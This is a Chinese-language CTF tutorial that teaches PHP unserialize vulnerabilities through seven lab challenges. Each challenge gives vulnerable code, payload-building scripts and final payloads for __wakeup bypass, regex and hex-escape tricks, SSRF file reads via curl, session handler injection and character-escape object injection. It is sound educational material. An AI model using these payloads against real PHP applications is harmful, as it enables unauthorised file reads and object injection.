通过七道题学习PHP反序列化 unserialize1 1 2 3 4 5 6 7 8 9 10 11 <?php show_source(__FILE__ ); class XianZhi { public $name ; function __destruct ( ) { echo file_get_contents($this ->name); } } unserialize($_GET ['a' ]); ?>
payload:
1 2 3 4 5 6 7 8 9 10 <?php class XianZhi { public $name ; } $o =new XianZhi();$o ->name='/flag' ;echo (serialize($o ));?>
unserialize2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Demo { private $file = 'index.php' ; public function __construct ($file ) { $this ->file = $file ; } function __destruct ( ) { echo @highlight_file($this ->file, true ); } function __wakeup ( ) { if ($this ->file != 'index.php' ) { $this ->file = 'index.php' ; } } } if (isset ($_GET ['var' ])) { $var = base64_decode($_GET ['var' ]); if (preg_match('/[oc]:\d+:/i' , $var )) { die ('stop hacking!' ); } else { @unserialize($var ); } } else { highlight_file("index.php" ); } ?>
考点:OC绕过、wakeup绕过
如果存在wakeup方法,调用unseralize()方法需要先调用_wakeup方法,但是当序列化字符串中表示对象属性个数的值不等于真实的属性个数时会跳过__wakeup的执行。具体参考漏洞(CVE-2016-7124)
从index.php的wakeup函数中就可以看出,flag就在f15g_1s_here.php中。我们可以通过 __destruct()读取f15g_1s_here.php,怎么将$var传进去demo就是关键。首先看到,在unserialize之前,会先执行wakeup,而wakeup会直接将$this->file写为index.php(如果我们正常传进去f15g_1s_here.php就会被写成index.php),所以要绕过wakeup。
在绕过之前,要先知道传回Demo类的序列是什么,所以就先截取部分源码试验。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Demo { private $file = 'f15g_1s_here.php' ; public function __construct ($file ) { $this ->file = $file ; } } $obj = new Demo('f15g_1s_here.php' );$a = serialize($obj );echo $a ;?>
上面说到,我们把代表对象属性的个数改了就可以绕过wakeup方法。所以我们构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Demo { private $file = 'f15g_1s_here.php' ; public function __construct ($file ) { $this ->file = $file ; } } $obj = new Demo('f15g_1s_here.php' );$a = serialize($obj );$a =str_replace(':1:' , ':2:' , $a );echo $a ;?>
这步我们已经绕过了wakeup,可以把f15g_1s_here.php传入Demo类。但是题目对我们传入的var变量做了正则匹配
1 2 3 4 5 6 if (preg_match('/[oc]:\d+:/i' , $var )) { die ('stop hacking!' ); } else { @unserialize($var ); }
这⾥的正则匹配的意思是如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式)就die掉,这⾥匹配的是 O:4 ,直接使⽤+号当做空格即可绕过,即 O:+4 即可绕过
构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Demo { private $file = 'f15g_1s_here.php' ; public function __construct ($file ) { $this ->file = $file ; } } $obj = new Demo('f15g_1s_here.php' );$a = serialize($obj );$a =str_replace(':1:' , ':2:' , $a );$a =str_replace('O:4:' , 'O:+4:' ,$a );echo $a ;?>
因为题目会对var进行base解码,所以我们将payload进行base64编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Demo { private $file = 'f15g_1s_here.php' ; public function __construct ($file ) { $this ->file = $file ; } } $obj = new Demo('f15g_1s_here.php' );$a = serialize($obj );$a =str_replace(':1:' , ':2:' , $a );$a =str_replace('O:4:' , 'O:+4:' ,$a );$a =base64_encode($a );echo $a ;?>
unserialize3 考点:私有属性绕过,十六进制绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php highlight_file(__FILE__ ); class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process ( ) { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res ); } else { $this ->output("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string )$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res ) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen($s ); $i ++) if (!(ord($s [$i ]) >= 32 && ord($s [$i ]) <= 125 )) return false ; return true ; } if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid($str )) { $obj = unserialize($str ); } }
简单分析代码逻辑:
1.通过传入参数str来执行反序列化。
2.str会先通过is_valid函数,该函数阻止输入特殊字符。题目给的类的函数是private属性,private属性在序列化之后,会产生特殊字符,我们需要对此进行绕过。
/*protected属性被序列化的时候属性值会变成 %00\ %00属性名
private属性被序列化的时候属性值会变成 %00类名%00属性名
**/(%00为空白符,空字符也有长度,一个空字符长度为 1)
3.反序列化会触发destruct()函数,而destruct函数会调用process()函数。
4.process()函数里,当op=2时,可以触发read()函数进行flag读取,然后通过output函数输出。
5.destruct()函数和process()函数都存在过滤,分别是:
1 2 3 4 5 6 if ($this ->op === "2" ) $this ->op = "1" ; if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res );
可以看到,一个是强类型一个是弱类型,令OP=2就可以绕过。
**由于强类型比较之下,2是不等于字符串“2”的,在弱类型比较下,2是等于字符串“2”的,所以让OP=2就可以绕过destruct()函数。 **
构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class FileHandler { protected $op = 2; protected $filename = "falg.php"; protected $content = "aaa"; } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } $a = new FileHandler(); $b = serialize($a); echo $b;
可以看到,我们的payload是带有chr(0)的不可见字符
protected属性在被序列化后,属性值会变成 chr(0)*chr(0)属性名。(上面有提到)
而chr(0)超出了is_valid()函数规定的asc码范围,所以会被检测到报错。因此需要将这个将s改成大S进行绕过,让反序列时候能够识别十六进制的\00
/** S模式下,字符可以用/和十六进制表示。%00即chr(0)就可以用\00表示。**/
构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class FileHandler { protected $op = 2 ; protected $filename = "/flag" ; protected $content = "aaa" ; } function is_valid ($s ) { for ($i = 0 ; $i < strlen($s ); $i ++) if (!(ord($s [$i ]) >= 32 && ord($s [$i ]) <= 125 )) return false ; return true ; } $a = new FileHandler();$b = serialize($a );$b =str_replace(chr(0 ), '\00' , $b );$b =str_replace('s:5' , 'S:5' , $b );$b =str_replace('s:11' , 'S:11' , $b );$b =str_replace('s:10' , 'S:10' , $b );echo $b ;
unserialize4 ssrf+反序列化+私有属性绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Hello { protected $a ; function test ( ) { $b = strpos($this ->a, 'flag' ); if ($b ) { die ("Bye!" ); } $c = curl_init(); curl_setopt($c , CURLOPT_URL, $this ->a); curl_setopt($c , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($c , CURLOPT_CONNECTTIMEOUT, 5 ); echo curl_exec($c ); } function __destruct ( ) { $this ->test(); } } if (isset ($_GET ["z" ])) { unserialize($_GET ["z" ]); } else { highlight_file(__FILE__ ); }
题目调用curl访问远程的内容并且通过echo curl_exec($c)
出来。很明显,我们就是要利用这个函数。我们现在要做的就是想办法调用到这个方法。可以看到,在类的 __destruct 有调用该方法, __destruct是在类实例化完毕之后调的魔术方法。在代码最后有使用反序列化,所以可以通过反序列化来实例化这个类。然后通过 file:// 来读取flag。但是这⾥有个问题就是代码中是对 flag 关键字进行了过滤。这里需要知道的是CURL是会进行⼀次URL解码的,因此此处可以使用双URL编码进行绕过。这⾥需要注意的是 protected $a; 是私有的受保护的变量,所以咱么需要使用十六进制绕过。
1 2 3 4 5 6 7 8 9 <?php class Hello { protected $a ="file:///fl%25%26%31g" ; } $o =new Hello();echo (serialize($o ));
依照前面的题目使用的方法,将s改成S,chr(0)不可见字符用十六进制\00代替
其中flag中的a字符使用URL编码。最后在使⽤⼀次url编码对payload进行整体URL编码,这样a字符就进行了两次url编码了。
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Hello { protected $a ="file:///fl%61g" ; } $o =new Hello();$o =serialize($o );$o =str_replace(chr(0 ), '\00' , $o );$o =str_replace('s' , 'S' , $o );echo (urlencode($o ));
unserialize5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class home { private $method ; private $args ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function __destruct ( ) { if (in_array($this ->method, array ("mysys" ))) { call_user_func_array(array ($this , $this ->method), $this ->args); } } function mysys ($path ) { print_r(base64_encode(exec("cat $path " ))); } function waf ($str ) { if (strlen($str ) > 8 ) { die ("No" ); } return $str ; } function __wakeup ( ) { $num = 0 ; foreach ($this ->args as $k => $v ) { $this ->args[$k ] = $this ->waf(trim($v )); $num += 1 ; if ($num > 2 ) { die ("No" ); } } } } if ($_GET ['path' ]) { $path = @$_GET ['path' ]; unserialize($path ); } else { highlight_file(__FILE__ ); } ?>
代码分析:
传入字符串,然后直接unserialize字符串
反序列化字符串后,自动触发wakeup方法,wakeup方法调用了waf方法。分析过后对我们没什么限制
我们需要的是进入mysys方法,让他触发exec,然后将path变成flag就可以读取flag
考点:call_user_func_array call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数。
详情参考blog
所以当我们控制$this->method为mysys就可以调用mysys方法。
再控制$this->args为flag就可以把flag当成函数的参数传入(注意此时回调参数需要数组的形式)
同时这里也使用了私有属性,按照unserialize4考点就可以绕过。
构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class home { private $method ='mysys' ; private $args =['/flag' ]; } $o =new home();$payload =serialize($o );$payload =str_replace(chr(0 ), '\00' , $payload );$payload =str_replace('s:' ,'S:' , $payload );echo ($payload );?>
unserialize6 考点:session反序列化 先学习一下session的一些基础知识。
Directive
含义
session.save_handler
session保存形式。默认为files
session.save_path
session保存路径。
session.serialize_handler
session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup
一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled
将上传文件的进度信息存在session中。默认开启
打开phpinfo,查看session文件存储位置。
打开路径就可以看到session存储文件。
session的反序列化有三种处理引擎,分别是:
处理器名称
存储格式
php
键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_binary
键名的⻓度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php_serialize
经过serialize()函数序列化处理的数组
不同处理器处理出来的session存储格式是不一样的。下面做个小实验(测试的时候php版本一定要大于5.5.4 ,不然session写不进文件))
1 2 3 4 5 6 7 8 <?php session_start(); $_SESSION ['name' ] = 'chickenmushroom' ;var_dump($_SESSION ); ?>
分别得到三个session存储文件,查看他们处理出来的格式究竟是怎样的。
可以看到,三种引擎处理后的格式是不一样的
1 2 3 php: name|s:15:"chickenmushroom"; php_serialize: a:1:{s:4:"name";s:15:"chickenmushroom";} php_binary: names:15:"chickenmushroom";
这有什么问题?其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。
使用不同的引擎来处理session文件
php引擎的存储格式是键名 | serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题。
下面就进行一个小实验: 先以php_serialize
的格式存储,从客户端接收参数并存入session
变量
1.php
1 2 3 4 5 6 <?php ini_set("session.serialize_handler" , "php_serialize" ); session_start(); $_SESSION ['name' ]=$_GET ['a' ];var_dump($_SESSION ); ?>
2.php
1 2 3 4 5 6 7 8 9 10 11 <?php ini_set("session.serialize_handler", "php"); session_start(); class student{ var $name; var $age; function __wakeup(){ echo "hello".$this->name."!"; } } ?>
攻击思路:
首先访问1.php,在传入的参数前面加一个’|’ ,由于1.php使用的是php_serialize引擎,因此会把’|’当作一个正常字符处理。接着访问2.php,由于用的是php引擎,因此遇到’|’会当作分隔符(键名与键值之间的分隔符),从而造成逃逸,直接对’|’后的值进行反序列化。
payload:
1 2 3 4 5 6 7 8 9 10 11 <?php class student{ var $name; var $age; } $o=new student(); $o->name="chickenmushroom"; $o->age="22"; $o='|'.serialize($o); echo($o); ?>
1 |O:7:"student":2:{s:4:"name";s:15:"chickenmushroom";s:3:"age";s:2:"22";}
1.将payload传入1.php可以看到payload以及写入存储文件
2.访问2.php,可以看到我们希望的字符串已经成功触发student类的wakeup方法,所以思路是可以行得通的。
返回题目
扫描发现git泄露
用工具Githack进进行提取还原
得到两个文件。
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0 ); session_save_path('session' ); ini_set('session.serialize_handler' ,'php' ); session_start(); class XianZhi { public $name = 'panda' ; function __wakeup ( ) { $this ->name="session.php" ; } function __destruct ( ) { echo file_get_contents($this ->name); } } ?>
session.php
1 2 3 4 5 6 7 8 <?php error_reporting(0 ); show_source(__FILE__ ); session_save_path('session' ); ini_set('session.serialize_handler' ,'php_serialize' ); session_start(); $_SESSION ['session' ] = $_GET ['session' ]; ?>
session.php用的是php_serialize引擎,class.php用的是php引擎,且desrtuct方法还能打印文件内容。很明显,我们的思路就是最终通过destruct方法拿flag。那么我们能控制输入的地方是哪里呢?很明显,是session.php中通过session传参。思路已经出来了。
我们通过session.php的session传入变量,并且携带在session.php的session访问class.php,达到传入参数的目的,而session就是传参的媒介。构造payload:
1 2 3 4 5 6 7 <?php class XianZhi {public $name = '/flag' ;} $o = new XianZhi;echo serialize($o );?>
1 O:7:"XianZhi":1:{s:4:"name";s:5:"/flag";}
但是class.php有个__wakeup魔术方法,强制将 $this-name=”session.php”;
所以我们就绕过wakeup方法。上面已经研究过绕过wakeup方法了,这里不再详细阐述。并且在payload前面加一个’|’,上面也研究过,不再阐述。
最终payload:
1 |O:7:"XianZhi":2:{s:4:"name";s:5:"/flag";}
通过session.php将payload写入。(靶机这里不会自动生成PHPSESSIONID,所以我们自己做一个sessionid)
然后带着相同的PHPSESSIONID访问class.php。得到flag
但是这种方法是对session可以赋值的情况下进行攻击的,那如果代码中不存在对$_SESSION变量赋值的情况下,我们又该如何利用这个漏洞呢?
没有$_SESSION变量赋值
在PHP
中还存在一个upload_process
机制,即自动在$_SESSION
中创建一个键值对 ,值中刚好存在用户可控的部分 ,可以看下官方描述的,这个功能在文件上传的过程中利用session
实时返回上传的进度。https://www.php.net/manual/zh/session.upload-progress.php
这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST
一个与session.upload_process.name
的同名变量。后端会自动将POST
的这个同名变量作为键 进行序列化 然后存储到session
文件中。下次请求就会反序列化session文件 ,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session 处理引擎。
这里不展开试验了。详情参考https://www.jianshu.com/p/fba614737c3d
unserialize7 考点:字符逃逸 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php show_source("index.php" ); function write ($data ) { return str_replace(chr(0 ) . '*' . chr(0 ), '\0\0\0' , $data ); } function read ($data ) { return str_replace('\0\0\0' , chr(0 ) . '*' . chr(0 ), $data ); } class A { public $username ; public $password ; function __construct ($a , $b ) { $this ->username = $a ; $this ->password = $b ; } } class B { public $b = 'gqy' ; function __destruct ( ) { $c = 'a' .$this ->b; echo $c ; } } class C { public $c ; function __toString ( ) { echo file_get_contents($this ->c); return 'nice' ; } } $a = new A($_GET ['a' ],$_GET ['b' ]);$b = unserialize(read(write(serialize($a ))));
分析代码:
两个函数,三个类
关键代码:
1 2 $a = new A($_GET ['a' ],$_GET ['b' ]);$b = unserialize(read(write(serialize($a ))));
关键函数:
1 2 3 4 5 6 7 function write ($data ) { return str_replace(chr(0 ) . '*' . chr(0 ), '\0\0\0' , $data ); } function read ($data ) { return str_replace('\0\0\0' , chr(0 ) . '*' . chr(0 ), $data ); }
我们只有一个可控的变量只有类A的两个参数a和b。传参之后,会先进行实例化对象$a。进行序列化$a。依次传递三个函数write()、read()和unserialize()。
分析做法:
①类C中有个_toString(),当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用。所以我们就要将里面的$c变量的值变成flag.php
②类B有个__destruct(),当对象被销毁时自动调用。并且类B还可以输出$c
③类B还有一个字符拼接操作,$c=’a’.$this->b 。先执行$this->b,实例化了此处的$b属性。然后就实例化$c,触发类C的__toString
所以,做的就是将类A的password属性实例化成类B的实例化对象。设置类B的$b为类C的实例化对象。设置类C的$c=”flag.php”即可。
特别注意
read函数里面的
1 return str_replace('\0\0\0' , chr(0 ) . '*' . chr(0 ), $data );
①char(0)实际上就是一个空字符,也算一个字节。
②read函数会将\0\0\0替换成chr(0) . ‘*’ . chr(0)
③\0\0\0是六个字符,chr(0) . ‘‘ . chr(0)是三个字符。也就是说,当我们传入参数里面有一组\0\0\0,通过read(),会成将原来的六字符的值\0\0\0变成三字符chr(0) . ‘ ‘ . chr(0)。也就是说我们每传入一组\0\0\0,就会多读取后面三个字符。下面进行调试演示。
改一下代码,显示各调试结果。
1 2 3 4 5 6 7 echo "<br>" ;echo serialize($a );echo "<br>" ;echo write(serialize($a ));echo "<br>" ;echo read(write(serialize($a )));echo "<br>" ;
1 2 3 4 5 var_dump($b ); echo "<br>" ;echo $b ->username;echo "<br>" ;echo $b ->password;
先输入a=1,b=2看看结果。
可以看到一切正常。再传入a=\0\0\0,b=2。
经过read函数处理后,username的字符串长度是6但是username的值却是chr(0) . ‘*’ . chr(0)。并且报错。报错的原因就是读取username的值的时候,要读取6个字符,而后面的格式不符合序列化结束格式。
经过分析后,传入参数
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c”;s:8:”password”;s:4:”1234”;}}
当a传入8组\0\0\0的时候,序列化a的时候字符串长度为48,当反序列化之后a字符串长度仍然为48,可是在””里面只有
,所以他会继续往后读取,直到读取完48个字符。所以可以看到,在反序列化之后,a的值变成了
1 ********";s:8:"password";s:30:"c
,而b就是1234.
想要拿到flag,就要通过类C的echo file_get_contents($this->c);获取。而flag的文件名题目给了就是flag.php。类B里有
1 2 function __destruct ( ) {$c = 'a' .$this ->b;
可以输出$c.所以我们设置$b为类C的实例化对象即可。
构造payload:
1 2 3 4 5 6 7 8 9 $a = new A();$b =new B();$c =new C();$c ->c="flag.php" ;$b ->b=$c ;$a ->username='1' ;$a ->password='2' ;$d =read(write(serialize($a ))); var_dump($d );
1 O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
可以看到,我们需要逃逸的字符就是
1 ";s:8:"password";s:1:"//一共22个
因为我们后面要将payload填充到password的值中,所以字符一定是几十位,因此s的长度一定是两位数,所以需要逃逸的字符一共需要23位数。
所以传入a的值就是8组\0\0\0,一共逃逸24位数。所以在最后的payload前面加一个字符就可以。
1 2 3 4 5 6 7 8 9 10 $a = new A();$b =new B();$c =new C();$c ->c="flag.php" ;$b ->b=$c ;$a ->username='1' ;$a ->password=$b ;$d =read(write(serialize($a ))); var_dump($d );
1 O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
最终payload:
1 a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}